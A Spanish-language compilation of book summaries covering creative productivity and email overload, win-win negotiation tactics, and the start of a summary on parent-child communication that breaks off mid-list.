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Cómo Manejar Tu Día a Día Sin Enloquecer

Si el mundo ha cambiado, la forma de trabajar tampoco puede seguir siendo la que era antes de la revolución digital. El mundo de hoy no tiene nada que ver con el mundo en que vivieron los grandes creativos que admiramos. Para ellos era más sencillo evitar las distracciones y trabajar en relativa paz y concentración. En la era de internet y los smartphones, es más difícil encontrar el entorno ideal para desarrollar nuestros proyectos personales. Encuentra en este resumen del libro Manage Your Day -to- Day de Jocelyn Glei, 

A menudo cuando hablamos de problemas en nuestro proceso creativo, no hablamos de problemas en la generación de ideas, sino en la ejecución de nuestra idea.

LA ERA DEL TRABAJO REACTIVO

A veces podemos gastar gran parte del día trabajando de forma reactiva: controlamos el correo electrónico, visitamos nuestro perfil en Instagram, Facebook, Twitter, Telegram, echamos un ojo a whatsapp, alguna tarea rutinaria, y ya no queda tiempo para nada más.

Estar siempre conectado trae muchas ventajas, pero también desventajas: sólo tenemos tiempo para contestar y reaccionar, y no nos queda tiempo para pensar y actuar.

LA IMPORTANCIA DE UNA RUTINA

El trabajo creativo requiere de mucho tiempo para llegar a un buen resultado.

Y lo que te permite lograr ese resultado es la rutina.

Es por esto que, por ejemplo, Ernest Hemingway escribía 500 palabras todas las mañanas.

Y de eso hablaba Picasso cuando decía que la musa solía encontrarlo trabajando.

Una rutina efectiva te ayuda a entrar en el flow sin perder tiempo y sin gastar mucha fuerza de voluntad.

Gracias a una rutina de trabajo optimizada puedes poner en marcha tu flujo de trabajo de forma automática.

No tienes que esperar la inspiración, tienes que crear un entorno y un sistema que la favorezca.

EL SÍNDROME «INBOX ZERO»

¿Has intentado alguna vez “adelantar trabajo”?

Y ¿cuántas veces te has conseguido adelantar todo el trabajo posible, y has tenido por fin tiempo libre para dedicarte a ese proyecto que tenías abandonado?

Me temo que pocas veces.

Además, hay veces que adelantas trabajo para que luego te cambien el briefing, y lo que has hecho ya no vale: hubiera sido mejor no hacer nada…

¿Te suena?

La verdad es que adelantar trabajo es a menudo una gilipollez falacia.

Es meterse en la rueda del hámster y empezar a correr, sin parar nunca.

De la misma forma, las ganas de despejar el camino te pueden llevar a abrir el correo a primera hora de la mañana: sin darte cuenta acabarás por entregar tu tiempo a las prioridades de otras personas.

Que a veces no coinciden exactamente con tus prioridades…

LUCHANDO CONTRA EL E-NEMIGO

Si la mañana es el momento donde tu creatividad y productividad están a tope, malgastarla así es un crimen.

Pero no es así para todo el mundo: hay quien trabaja mejor por las noches.

Así que te toca identificar cuáles son tus horas más productivas.

Esto a menudo quiere decir invertir la forma de trabajar: empezar con el trabajo importante y no urgente, y dejar el trabajo reactivo para después.

Muchas veces hacemos al revés y nos ocupamos de tareas simples, para tener la ilusión de ser productivos.

Hace falta fuerza de voluntad para resistir a la incómoda – y engañosa – sensación que hay clientes esperando.

Pero es mejor decepcionar a unos pocos sobre cosas no esenciales, que renunciar a tus sueños para tener la bandeja de entrada vacía.

Según un estudio de 2012, los trabajadores gastan de promedio el 28% de su tiempo escribiendo, leyendo o contestando a correos.

¿Un pequeño truco para llegar a inbox cero en pocos minutos? Archiva todos tus correos en la carpeta de «archivados» y ya tendrás la bandeja vacía. En Gmail ya tienes esa carpeta por defecto, pero si no la tienes la puedes crear. Si quieres acceder a tus correos, los seguirás viendo en esa carpeta. En tu bandeja de entrada sólo tendrás los últimos mensajes.

No sacrifiques tu potencial por una ilusión de profesionalidad.

El email es como una extensión de nuestro cerebro. Lo malo es cuando pretendemos estar a la altura de ese yo digital, que puede manejar mucha más información que nuestro yo real.

A menudo tenemos la tentación de guardar muchos correos just in case, por si volvemos a leerlos, por si es algo útil, para acordarnos de una posible idea o herramienta,…

Sin embargo, tenemos que aceptar que al ritmo al que fluye la información, es difícil que eso pase. Y aunque volviéramos a mirarlo en un futuro, es posible que para cuando lo hagamos las cosas hayan cambiado, y ya exista otra herramienta, otra manera de hacer las cosas,…

Para hacer una limpieza con criterio, tenemos que tener claros nuestro objetivos. Si los tenemos por escrito, mejor.

La regla más importante para que tu bandeja de entrada te ayude a lograr tu objetivo es esta: las oportunidades que te distraen tienen que morir para que tus objetivos más importantes puedan sobrevivir.  

No hay sitio para todo.

El mundo laboral actual nos obliga a vivir en una paradoja permanente: para avanzar, tenemos al mismo tiempo que luchar contra las distracciones y ceder frente a ellas (mirando por ejemplo nuestro buzón de correo).

Seguro que pensarás que necesitas mirar tu buzón para poder realizar tu trabajo: emails de clientes, del jefe, de tus compañeros de trabajo, noticias sobre tu sector,…

Pero todas esas comunicaciones solo te ayudan, o te cortan el ritmo y te distraen?

¿Cuál es el coste de esa pérdida de foco?

Lo que en realidad buscamos es la gratificación aleatoria que proporcionan los buzones de entrada del correo o cualquier red social.

Además, somos yonkis de la comodidad.

Hemos elegido ser esclavos de la comodidad y eso tiene un precio.

En todos los trabajos se tiende a abusar del email y los correos de grupo: consideramos sólo la comodidad y posibles ventajas, sin pensar a lo que pueden costar en términos de productividad.

El hecho de que pueda existir un beneficio nos parece suficiente para justificar la práctica.

En el sector de los conocimientos no tenemos unas métricas claras que nos ayuden a medir los costes.

Nuestras conductas se miden entonces sobre la conveniencia a corto plazo más que sobre el valor a largo plazo.  

Eliminar 10 mensajes de nuestra bandeja de entrada nos da la impresión de progresar, cuando si lo pensamos detenidamente eso no está para nada claro.

DESCUBRIENDO TU RITMO PRODUCTIVO.

Tenemos que recordarnos a nosotros mismos que no somos una máquina.

A veces parece que los textos sobre productividad quieren entrenarnos para volvernos rígidos y eficientes como máquinas.

Los seres humanos no somos máquinas – los creativos menos todavía – y seguir esos consejos sólo nos provocará frustración.

Tenemos que aprender a reconocer y seguir nuestros ciclos de productividad.

Eso es fácil de hacer, aunque requiere de fuerza de voluntad para ponerlo en marcha: simplemente hay que apuntar durante una semana la horas en la que trabajamos más a gusto.

Necesitamos identificar si conseguimos mejores resultados por la mañana, la tarde o la noche, y apuntar cuánto tiempo podemos trabajar a tope antes de que nos entren ganas de desconectar.

Es difícil que sea más de 1 hora. Cuando identifiquemos esos ratos, sabremos cada cuánto tiempo necesitamos descansar, y qué momentos dedicar al trabajo más importante.

En mi caso, 50 minutos es la extensión ideal para trabajar del tirón. Luego mi concentración baja y me entran ganas de distraerme.

La mente humana está más preparada para trabajar en sprints que en maratones.

Nuestra eficiencia y creatividad vuelven a recargarse si alternamos trabajo creativo y trabajos reactivo.

Y también es importante aprender a desconectar de la conexión: cuando nos conectamos a la red, nos desconectamos de nosotros mismos, perdiendo una oportunidad para reflexionar.

Y en el caso de un trabajo creativo esto puede significar perder la oportunidad para tener una voz personal, y seguir lo que hacen los demás.

Nada tiene que tener más influencia sobre nosotros que nuestra propia intuición.

En esta era de la constante conexión, la capacidad para desconectar y pararse a pensar es otra ventaja competitiva.

EL INCREÍBLE PODER DE LA REPETICIÓN

¿Conoces esta frase?

Tenemos la tendencia a sobrestimar lo que podemos lograr en el día, y a subestimar lo que podemos lograr en un año»

Para que esa frase sea cierta, es necesario que se cumpla una condición: que trabajemos de forma consistente.

A largo plazo, el trabajo constante impulsa nuestra productividad y creatividad.

La repetición o frecuencia nos proporciona unas grandes ventajas.

LAS 3 GRANDES VENTAJAS DEL TRABAJO DIARIO

  1. Trabajar todos los días en tu proyecto hace que sea más fácil empezar.

¿Has notado que a veces, aunque tengas tiempo, no lo aprovechas para trabajar en tu proyecto personal?

Y que cada vez que tienes que arrancar un proyecto nuevo te cuesta horrores, sin embargo al cabo de unos días, cuando por fin ya has arrancado, trabajas sin problemas?

Empezar un proyecto nuevo es duro, y también lo es volver a ello tras una pausa.

Eliminar esas pausas te ayuda a mantener las ganas y la motivación.

2) Trabajar todos los días en tu proyecto te quita presión.

Si trabajas en tu proyecto solo de vez en cuando, cuando lo haces sientes presión por sacar algo de mucha calidad.

Si trabajas todos los días no tienes esa sensación: si un día no obtienes resultados, no pasa nada. Tienes el día siguiente para hacerlo mejor.

3) Trabajar todos los días en tu proyecto te ayuda a trabajar todos los días en tu proyecto

Si no dejas pasar muchos días sin trabajar en tu proyecto, no necesitarás tiempo para volver al flow, podrás empezar enseguida.

Y esa puede ser una ventaja tremenda: no necesitarás de mucho tiempo para lograr avances.

Es esto un concepto que, si lo pones en práctica, te puede transformar en un arma de creación masiva.

A veces aparcamos nuestro proyecto porque sentimos que no tenemos nunca un tiempo suficientemente extendido como para lograr algo.

«Sólo tengo media hora», nos decimos. «Eso no me alcanza para nada».

Si trabajamos media hora al mes eso es verdad: no avanzaremos nada, ni siquiera será suficiente  para concentrarnos y volver al punto donde lo dejamos.

Si trabajamos todos los días, nos concentramos casi al instante.

Y avanzaremos paso a paso, podremos ver nuestros progresos y eso nos ayudará a ser más productivos porque veremos que sí somos realmente capaces de hacerlo.

Sin embargo, la ansiedad que produce postergar hace que cada vez sea más difícil arrancar.

Lo que haces cada día es más importante de lo que haces de vez en cuando»

Día tras día, construimos nuestra vida. Día tras día, podemos transformar nuestra idea en realidad.

Todo eso es lo que dice la famosa frase de Aristóteles:

Somos lo que hacemos repetidas veces. La excelencia por lo tanto no es un acto, sino un hábito»

Puede haber días donde nos digamos a nosotros mismos que no vamos a trabajar en nuestro proyecto porque no nos sentimos inspirados.

Ser creativos cuando la inspiración acompaña es fácil, sin embargo sólo podemos ser “pros” de la creatividad si trabajamos también cuando no nos sentimos inspirados.

LA SOLEDAD DEL CREATIVO

Reservar momentos para estar solos, sin aparatos e internet, también tiene ventajas.

Es esencial aprender a reconocer nuestro impulso de interrumpir el trabajo o hacer multitasking, y resistirlo.

¿Porqué muchos recomiendan meditar?

La práctica de la meditación ayuda a reconocer los pensamientos que llegan a nuestra cabeza y a no interactuar con ellos.

Lo mismo habría que hacer con el impulso de cambiar de tarea o mirar el móvil: tendríamos que tomar conciencia del impulso, y no caer en tentación.

(Nota: estuve 365 días meditando 15 minutos todos los días. Resultado: ninguno. El último día lo hacía igual de mal igual que el primero: sin conseguir ralentizar la mente y contener la ola de pensamientos. Uno de estos días volveré a intentarlo…)

FOCO Y DISTRACCIONES: LA PARADOJA DE LA PRODUCTIVIDAD

La información consume la atención del receptor. Una abundancia de informaciones crea escasez de atención»

Esta frase es de 1971, pero describe muy bien el mundo de hoy: tenemos una fuente de infinitas distracciones instalada en nuestro medio de trabajo (nuestro ordenador), y otra en nuestro bolsillo….

La atención es uno de nuestros bienes más preciados.

Si piensas que las compañías más grandes del mundo – Google, Facebook, Netflix – ganan más dinero cuanto más consiguen distraernos y conquistar nuestra atención, tienes una idea de la magnitud del problema.

Nuestra capacidad de atención es nuestra ventaja competitiva: quien mejor la sabe salvaguardar será el que conseguirá resultados, mientras los demás se quedarán consumiendo entretenimiento.

FOCUS BLOCKING

Quizás ya estés familiarizado con la técnica del Time Blocking.

Podemos añadir a eso el enfoque que Cal Newport llama «Focus Blocking».

El Focus Blocking consiste en marcar en el calendario las horas de trabajo creativo y otorgarles el mismo peso que las horas dedicadas a reuniones: las interrupciones no están permitidas.

Tenemos que empezar con bloques pequeños e ir ampliando poco a poco.

No podemos admitir ni la más mínima interrupción.

Para eso, es mejor quitar las notificaciones y el acceso a internet.

Cuando es posible, lo mejor sería poder trabajar con papel y lápiz para evitar las distracciones de internet y trabajar en un lugar dedicado específicamente para estos trabajos sin distracciones. Además, es conveniente trabajar en una tarea específica identificada de forma previa.

Tenemos que convencer nuestra mente de que no está permitida ni la más mínima distracción.

Si miramos Facebook o Instagram aunque solo por unos minutos, deberíamos cancelar la sesión e intentarlo en otro momento.

EL MITO DEL MULTITASKING

El multitasking no existe.

Sólo se pueden hacer dos cosas a la vez si una de las dos es realmente automática, como por ejemplo caminar.

De lo contrario, no estarás haciendo multitasking sino simplemente task switching, pasando de una tarea a otra. En este caso, la bajada de la productividad es asegurada.

Resistir a la tentación de mirar el móvil o el correo merma nuestra concentración y fuerza de voluntad.

La única alternativa real que tenemos es la de eliminar las tentaciones de raíz.

Para poder pasar a otra tarea, deberíamos llegar primero a un punto donde no nos queda nada pendiente. De lo contrario nuestro cerebro seguiría dándole vueltas, mermando nuestra capacidad de atención y productividad. Es lo que se conoce como «attentional residue effect«.

Para no perder el foco y evitar las tentaciones del multitasking, es útil tener constancia de nuestros avances.

El problema es que en el trabajo digital a veces esto es complicado: si estamos trabajando en un texto, siempre tendremos delante nuestro la versión actual, y eso hace que sea difícil visualizar los avances.

Tendremos entonces que establecer nuestros propios «indicadores de progreso». Por ejemplo, podríamos empezar cada día una versión nueva del mismo documento.

SOCIAL MEDIA MINDFULNESS

Tenemos a menudo la tentación de ojear las redes sociales para desconectar un rato.

Cuando lo hacemos, a veces nos despertarnos del trance media hora después – o más – sin saber muy bien cómo hemos acabado allí.

Es difícil resistir a la tentación: es más fuerte el miedo a perdernos algo (FOMO) y el mono de un buen chute de endorfinas… Los impulsos a resistir son muchos.

Para luchar contra eso podemos acercarnos a las redes con mindfulness: tenemos que darnos cuenta de las razones por las cuales estamos a punto de enchufarnos, y decidir de antemano qué queremos lograr. Si navegamos sin un objetivo, es más fácil correr el riesgo de quedarnos atrapados.

También puede ser conveniente seleccionar con cuidado a quienes seguimos en las redes: estamos dejando que esas personas entren en nuestro cerebro y modifiquen nuestros pensamientos.

El smartphone en manos de malos jefes y malos compañeros es cómo una correa electrónica.

Nos hace perder la distinción entre lo importante y lo urgente y lo importante: todo parece urgente.

Y cuando elegimos dedicar nuestro tiempo en lo urgente, estamos dando más importancia a las prioridades de otras personas en lugar que las nuestras.

Ocuparse de esas tareas urgentes es el camino más fácil.

Y el camino más fácil siempre es una trampa.

CÓMO IMPULSAR TU CREATIVIDAD Y SUPERAR BLOQUEOS

Es imposible ser creativo y superar problemas exclusivamente a base de fuerza de voluntad.

Es por eso que es importante configurar una rutina para salirse de la rutina, trabajar en proyectos personales por simple diversión, callar nuestro crítico interior y las tendencias al perfeccionismo.

Muchos de los que tienen un trabajo creativo trabajan para clientes o empresas para ganarse un sueldo.

El problema es que en ese papel sólo utilizamos una parte de nuestras posibilidades creativas.

Para ir más allá, es fundamental trabajar para la audiencia más importante: nosotros mismos.

No esperemos que nuestro trabajo para otros satisfaga todos nuestros deseos creativos: eso no va a ocurrir.

LA CREACIÓN INNECESARIA

Para satisfacer nuestras aspiraciones creativas necesitamos la Creación Innecesaria.

La Creación Innecesaria nos permite:

  • Tener la libertad de experimentar nuevas posibilidades
  • Tomar riesgos
  • Desarrollar nuevas habilidades (esto puede ser difícil en el trabajo remunerado donde suelen pagar para obtener resultados predecibles)
  • Lograr tener una voz propia (la presión del mundo corporativo nos empuja a mirar lo que están haciendo otros en lugar de buscar caminos personales)

Dedicar tiempo a un proyecto personal parece una elección poco eficiente porque de hecho, es una elección ineficiente.

Sin embargo, cada elección que hagas tiene un coste de oportunidad.

Consideremos por lo tanto cuál puede ser el coste de vivir nuestra vida eligiendo el pragmatismo: podemos gastar nuestro tiempo satisfaciendo las expectativas de los demás en lugar de avanzar en el descubrimiento de nuestras capacidades creativas.

Si queremos empezar un side project, deberíamos hacerle sitio: lo mejor sería agendarlo en nuestro calendario. De lo contrario, tendremos la tentación, cuando tengamos un rato de tiempo, de procrastinar y hacer otras tareas más fáciles.

Necesitamos tomar conciencia:

A menudo no tenemos tiempo porque es más conveniente no tenerlo. Quizás no queramos desafiarnos a nosotros mismos»
Stefan Stegmeister

101 Tácticas Para Una Negociación Exitosa

En un estudio de investigación realizado por alumnos universitarios una década atrás, más de un tercio de los participantes contestaron que casi nunca o nunca negociaban con otras personas. Sin embargo, la verdad es  completamente diferente. Todo en la vida es negociable, bajo cualquier condición, en todo momento, argumentan Peter B. Stark y Jane Flaherty. Desde pedirle a tu pareja que saque la basura a derretirte en la autopista en el tráfico de la hora pico, a determinar qué hora programar una cita con un cliente a decidir qué programa de televisión mirar con tu familia, cada aspecto de la vida de algún modo tiene algo de negociación. 

Ahi es donde el esfuerzo conjunto de Stark y Flaherty comienza, y aparece “The Only Negotiating Guide You’ll Ever Need”. Dividido en dos partes: “The Skillful Negotiator” y “101 Tácticas Para Una Negociación Exitosa”. Este libro combina la teoría y la práctica y además de revisar las bases de la negociación, también provee una amplia selección de ejemplos de la vida real y tácticas de todas las esferas de la vida. Por lo tanto, ¡ prepárate para familiarizarte con las bases de la negociación como también las claves para crear resultados exitosos donde ambas partes ganen! 

Los Resultados de los Cuatro Posibles Negociaciones

Todas las negociaciones que hayas tenido hasta ahora y tendrás hasta el final de tu vida terminara en una de los cuatro posibles resultados:

Perder – perder,

Ganar – perder, 

Ganar – Ganar, o

Ningún resultado. 

Veamos cada uno en especial.

Perder-perder. Es el resultado menos deseable de una negociación. Desafortunadamente, es también el que sucede con más frecuencia. Stark y Flaherty apuntan al paro de trabajadores de almacenes del sur de California en Junio del 2016 contra la cadena de supermercados Ralphs and Albertsons, el cual terminó con el hecho de que los trabajadores aceptaron una reducción del 35% de sus pensiones y Ralphs and Albertsons perdiendo casi  $1.5 billón en ventas y casi el 30% del mercado. Casi siempre en un paro laboral todos pierden,” Stark y Flaherty concluyen.

Ganar – Perder o perder – ganar. Es el resultado que todos secretamente esperan porque por supuesto esperan terminar del lado ganador. A largo plazo este resultado no funciona tan bien como piensas. Es porque cuando contribuyes a la creación de una situación de ganar – perder el perdedor probablemente se negara a negociar contigo nuevamente en el futuro. Casi todas las relaciones de ganar -;perder terminan en perder -perder con el tiempo. 

Ganar-Ganar. Es el resultado ideal para la mayoría de las negociaciones. Las necesidades y objetivos de ambas partes son encontrados por lo tanto ambos se distancian con un sentimiento positivo y una necesidad de negociar con el toro nuevamente. Como un ejemplo de este tipo de resultado,Stark y Flaherty señalan a Barack Obama normalizando de manera exitosa las relaciones entre los Estados Unidos y Cuba luego de medio siglo. 

Luego de años y años de negociaciones fallidas, ambos países pudieron liberar a los prisioneros. Los norteamericanos y los cubanos eran libres de viajar a Cuba. Además, los cubanos se beneficiarán ampliamente de los ingresos del comercio y turismo que les brinda a su país proveniente de los Estados Unidos.  

ningún resultado. El resultado posible final de una negociación es el no resultado. aquí ninguna de las partes ganan o pierden y todo permanece en el modo que había sido al comienzo. Un gran ejemplo de negociación de no resultado es que estés tratando de vender un auto. Si tu comprador no está de acuerdo con tu estimación y no estás de acuerdo con su oferta, entonces probablemente se irán y tratarás de encontrar otro comprador en un intento de cambiar el no resultado en un resultado ganar – ganar o ganar- perder. 

Tres claves para crear un resultado ganar-ganar

Gerard I. Nierenberg, el Padre del Entrenamiento de la Negociación, una vez escribió, En una negociación exitosa, todos ganas. 

Sin embargo esto es sólo raramente el caso. Y Stark y  Flaherty señalan que existen algunos negociadores que han construido una fuerte reputación por alcanzar de manera constante resultados ganar ganar en sus debates. ¿Cómo lo hacen? bien si quieres unirte al a su random entonces el mejor es mantener alguna de las siguientes tres consejos: 

  • Evita reducir la negociación a un solo tema. Ya sea que estés negociando con tu esposa o con un cliente, focalizarse en solo un tema es una de las peores cosas que puedes hacer durante una negociación ya que establece la escena de un resultado ganar-perder. Sin tener en cuenta el tema de una negociación, existen probablemente más temas a considerar que aquel que actualmente está siendo discutido. Lo aconsejable, cuanto más temas haya sobre la mesa, más probable sea que ambos lados lleven la negociación hacia un ganar-ganar. Por ejemplo si estás vendiendo algo y estás discutiendo con tu comprador solo sobre el precio del producto, existe una gran posibilidad de que uno de las partes sea el perdedor de la negociación. Sin embargo si traes puntos de negociación adicionales para negociar como por ejemplo fecha de entres, actualizaciones, garantía, entrenamiento o soporte puedes llegar a un trato ganar -ganar. 
  1. Darte cuenta que tu contraparte no tiene las mismas necesidades que tú..No comiences una negociación con la idea que tu ganancia es la pérdida de tu contraparte y viceversa. Primero que nada, el mercado nunca es así de racional y simple y segundo no es un buen sentimiento terminar en el lado perdedor. 
  2. No asumas que conocen las necesidades de tu contraparte. Mo sólo es importante asumir que tu contraparte tiene expectativas diferentes de tu, es incluso más vital suponer que no tienes idea de cuales son sus expectativas en abierto. Los negociadores por lo general fallan en tener esto en cuéntamelo simplemente porque a veces sienten que saben la respuesta de antemano. Por ejemplo, un vendedor puede asumir que las expectativas de un comprador son las de comprar el producto o servicio en cuestión en el precio más bajo posible, pero qué pasa si su necesidad real, es decir la calidad del producto o su fecha de entrega? No ser consciente de estas cosas tales como esto es equivalente a perder una oportunidad un resultado ganar -ganar. 

Los Tres Elementos Críticos de la Negociación

Los tres elementos más críticos en la negociación son:

  • El tiempo (o, el periodo en el cual sucede la negociación), 
  • La información (cuanto más tiene, mejor) y 
  • El poder (que puede venir en muchas formas). Digamos unas pocas palabras sobre cada una de estos tres elementos:
  1. Tiempo. La mayoría de las negociaciones, así como casi todo en la vida no son eventos sino procesos. También, una vez más, como casi todo en la vida, cumplen con el principio del famoso Pareto, con más del 80% de tus resultados en una negociación generalmente provenientes en el último 20% del debate. Si quiere hacer tiempo tu amigo en vez de un enemigo en una negociación, sigue estas seis guías:

1) Ten paciencia

2) Se persistente; 

3) Cuando sea posible, muevete rapido, 

4) Darte cuenta que los plazos pueden ser movidos cambiados o eliminados; 

5) toma en consideración la línea de tiempo de tu contraparte y finalmente

6) Haz que el tiempo funcione para ti, en vez de en tu contra.

2. Información. Alrededor de un milenio atrás, Francis Bacon famosamente remarcó que el conocimiento equivale al poder y que no existe nada más verdadero que esto con respecto a las negociaciones. Cuanto más sabes sobre el tema que está siendo negociado mejore sera el resultado para ti. Cuanto menos sepas más susceptible eres en estar del lado perdedor de un resultado Ganar perder. Como ya hemos mencionado, una negociación es un proceso y un que comienza mucho antes que el verdadero encuentro cara a cara. Estate preparado. Encontrar todo que necesitas de alguien que tenga los hechos y las estadísticas, sea un amigo tuyo o un pariente, un colega o un conocido de tu contraparte. Investiga en internet chequea los archivos y nunca te olvides que tu contraparte, si es inteligente, hará lo mismo. 

3. Poder. Si tienes poder pero no lo utilizas el poder no agrega valor a la negociación: sin embargo si lo utilizas entonces el poder puede ser severamente influenciar el resultado de cualquier negociación. De acuerdo a Stark y Flaherty, existen diez tipos de poder que necesitas para ser tomado en cuenta porque, según pueda decir, todos ellos pueden ser utilizados y abusados por cualquier parte de la negociación. Estas diez clases son las siguientes: 1) posición; 2) conocimiento de experiencia; 3) carácter o ética; 4) recompensa; 5) castigo; 6) género; 7) falta de poder; 8) carisma o poder personal; 9) falta de interés o deseo y finalmente 10) locura. Cuando se trate de poder en cualquier momento que entres en una negociación, recuerda las siguientes cinco hechos: 1) Casi nunca tiene un lado todo el poder; 2) El poder puede ser real o aparente; 3)El poder existe solo al punto en el cual es aceptado, 4)Las relaciones de poder pueden cambiar y  5) cuando sea posible, el poder debe ser examinado. 

Tres clases de negociadores

De acuerdo a Stark y Flaherty, sin importar el tema de una negociación, siempre será una de los tres tipos de negociadores en cualquier lado de la conversación: tiburones, carpas y delfines. Cada tipo tiene un patrón diferente y estilo de negociaciones y hacer respuestas diferentes a sus movimientos de su contraparte. Por lo tanto dediquemos unas palabras a cada uno: 

1.Tiburones. Todos las negociaciones tienen un resultado” ganar -perder» ellos están preparados para hacer todo lo posible para no terminar en el lado perdedor. Los tiburones creen en la escasez y juegan un juego zero sum, convencidos que a menos que ganen, la otra parte lo hará. Sintiendo que las victorias no son solo una parte importante de la viuda sino una herramienta vital para sobrevivir en el mundo voraz del capitalismo occiodentalm los tiburones tienen sus ojos en matar y nada más. Su única naturaleza es o llevar la delantera.

  1. Carpas. Así como los tiburones, los carpas también viven en un mundo de escasez, pero su objetivo final no es ganar sino minimizar sus pérdidas. Ellos temen la confrontación y entran en todas las negociaciones con la idea de que tendrán que trabajar duro para solo mantener lo que ya han obtenido. cuando se los confronta con cualquier tipo de desafío la mayoría de ellos se niegan a pelear y responden con solo dos de los proverbios tres F: o se escapan o se congelan. La respuesta normal de las carpas en una negociación es o rendirse o salir. 
  2. Dolphins. Los delfines viven en un mundo de abundancia potencial. Las negociaciones pueden tener numerosos diferentes resultados y no solo dos. Eso permite la flexibilidad necesaria para adaptarse a todas las circunstancias. Los delfines tienden a evitar el conflicto innecesario cooperando tan pronto como el otro jugador haga lo mismo. Sin embargo, son rápidos para responder a un movimiento poco ético por su contraparte tomando represalias correctamente. Mientras son rápidos en esto, también son rápidos en perdonar. Estas características los hace negociadores ideales. 

Algunas Tácticas para la Negociación Exitosa

Aunque los términos estrategia y táctica son con frecuencia utilizados de manera intercambiable en el discurso coloquial existe realmente una gran diferencia entre ambos. Principalmente mientras una estrategia es un plan para alcanzar algo una táctica puede ser mejor descripta como un mecanismo para cumplir un fin. Por lo tanto, algunas tácticas muy bien elegidas que tienen el mismo objetivo en mente pueden combinar formar una estrategia a largo plazo. Una estrategia en otras palabras es algo que consiste en múltiples tácticas. Aquí hay unas tácticas comunes de negociación que te ayudan a construir una estrategia de negociación para la próxima vez que necesitas una:

  1. Es esta tu mejor oferta? Un gran modo de practicar tus habilidades de negociación es simplemente adquirir el hábito de preguntar a la gente de ventas: ¿Es esta tu mejor oferta? Estarás sorprendido cuántas veces disminuye su precio o darán un beneficio extra en respuesta a esta simple pregunta.
  2. Wow! Tienes que estar bromeando! Los negociadores más exitosos son grandes en actuar sorprendidos. Por lo general verbalizan su sorpresa utilizando palabras como Wow o frases como Estas Bromeando!. Puede parecer tomtom pero en el mundo real tiene realmente un efecto. Hace que la contraparte se pregunte: ¿Qué es lo que él sabe que yo no? incluso si él sabe que es meramente un truco. De hecho fallar en actuar de manera sorprendida cuando el precio o las condiciones mencionadas pudieran resultar en algo que no queremos: Tu contraparte tomando ventaja.
  3. Renunciar a una opción de borrador futura. En los deportes, renunciar una opción de borrador futura significa intercambiar un jugador que puedas necesitar en el futuro por un jugador que puedes obtener ahora. Es una táctica de negociación válida para muchas citas diarias también. Digamos quieres observar un juego importante NFL el viernes, Ahora dices que unas horas antes del juego recuerdas haber prometido a tu familia que los llevarías a un lindo restaurant. Si el juego es tan importante que quieres romper una promesa para mirarlo, entonces porque no comercializas tus arreglos futuros por el presente. Por ejemplo, puedes ofrecer sacar a tu pareja tres veces en los próximos diez días si ellos te dejan ver el partido de fútbol en cuestión. No podemos prometer que la táctica funciona pero vale la pena el intento. 

Notas Finales

Aunque no te guste utilizar las tácticas de negociación en tus encuentros diarios es bueno aprender alguno de ellos para ser capaz de protegerte, porque existe una buena chance de al menos que unas personas puedan utilizar las tácticas en tu contra. 

Adele Faber & Elaine Mazlish: “How to Talk So Kids Will Listen and Listen So Kids Will Talk”

Criar niños es fácil, hasta que finalmente decides tener uno. Luego es una experiencia muy diferente: de repente te das cuenta que nunca fuiste realmente el espero que pensase serias y que el consejo que le habías dado a tus amigos durante años en la teoría realmente no funciona en la práctica. Las razones para esto pueden ser muchas pero en esencia todas se reducen a una obvia razón: falla en la comunicación. Porque los niños y los padres no hablan el mismo idioma en el mundo real, o si? 

En el libro de Adele Faber y Elaine Mazlish, “How to Talk So Kids Will Listen and Listen So Kids Will Talk,” demostraremos las habilidades de comunicación para los padres. Desde lidiar con las emociones negativas de tus niños a expresar tus sentimientos más honestos sin lastimarlos dirigirte a tus niños hacia la autonomía y la auto disciplina correcta sin utilizar cualquier clase de castigo. 

¿Suena demasiado ciencia ficción para ser creíble? Lo sabemos y aun millones de padres satisfechos rogaría ser diferentes. Veamos esto en nuestro resumen.

Ayudar a los niños a lidiar con sus sentimientos

Desafortunadamente la mayoría del tiempo tratamos a nuestros niños como ignorantes y sentimos que sabemos mucho más sobre el mundo que ellos que rara vez escuchan lo que realmente están diciendo. Por alguna razón, el Mama hace calor aquí o Papá estoy cansado significa nada para nosotros si lo sentimos de otro modo por lo tanto con frecuencia respondemos diciendo cosas que demuestran indiferencia e incluso rechazo. tales como : realmente hace frio hijo, no te saques el sweater o No puedes estar cansado: acabas de dormir una siesta.

“Los niños necesitan tener sus sentimientos aceptados y respetados. sugieren las siguientes cuatro modos de alcanzarlos: 

Escuchar atentamente y serenamente

En vez de ignorar lo que tu hijo está diciendo o simplemente escuchar por la mitad sus quejas mientras observas el juegom escucha con suma atención y en silencio. A veces un silencio empático es todo lo que necesita tu hijo.

  • Reconoce los sentimientos de tus hijos con solo una palabra.

En vez de preguntar, culpar o aconsejar a tu hijo, reconoce sus sentimientos con unas pocas palabras (Oh,  MMMM,, ,,,, Ya veo) acompañadas con una actitud de cuidado, palabras como estas son invitación a que tu hijo explore sus propios sentimientos y pensamientos y posiblemente llegue a sus propias soluciones. 

  • Nombra los sentimientos de tus niños.

Como probablemente sepas, decir No te pongas triste! a tus hijos es seguramente el modo más seguro de hacerlos sentir mal. En cambio trata de darles un nombre a sus sentimientos, decir algo como : Oh no! que Terrible o Es verdad eso es frustrante! 

  • Brinda los deseos de tu hijo en fantasía.

En vez de utilizar la lógica para explicar porque tus hijos no pueden tener lo que quieren en un momento en particular trata de apreciar sus deseos haciéndolos más tangibles mediante la fantasía: “Oh, cuánto desearía que pudiera hacer madurar la bañan para tu ahora! 

Recuerda, incluso ciertas acciones deben ser limitadas, todos los sentimientos pueden ser aceptados. Para aclarar esto utilizaremos el ejemplo excelente de Faber y Mazlish: “Veo que tan enojado estás con tu hermano. Dile lo que quiere con palabras no con puños. Esta oración simple reconoce los sentimientos de tu hijo y a la vez le marca el modo en el que los están expresando. Por lo tanto PUede funcionar al comienzo de una discusión 

INVOLUCRA LA COOPERACIÓN de tus hijos

La mayoría de los niños no quieren tomar baños de manera voluntaria y si se los deja solos probablemente nunca cambiarián su ropa interior. Es por eso que una de las frustraciones de la paternidad es la lucha diaria de hacer que tus hijos se comporten en modos que son aceptables para ti y la sociedad. Para lograr esto para inculcar la cooperación de sus hijos, la mayoría de los padres recurren a los métodos del siglo 19: 

  • Acusar: Hiciste esto, ¿no? Cual es tu problema?
  • Nombrar: “Mira el modo en el que comes! Sos desagradable.”
  • Amenazas: “Tocas la tablet una vez mas y te dare un chirlo.”
  • Órdenes: “Que estás esperando? ¡Movete!”
  • Dando cátedra: Hacemos a los demás lo que nos gustaría que otros hicieran con nosotros.”
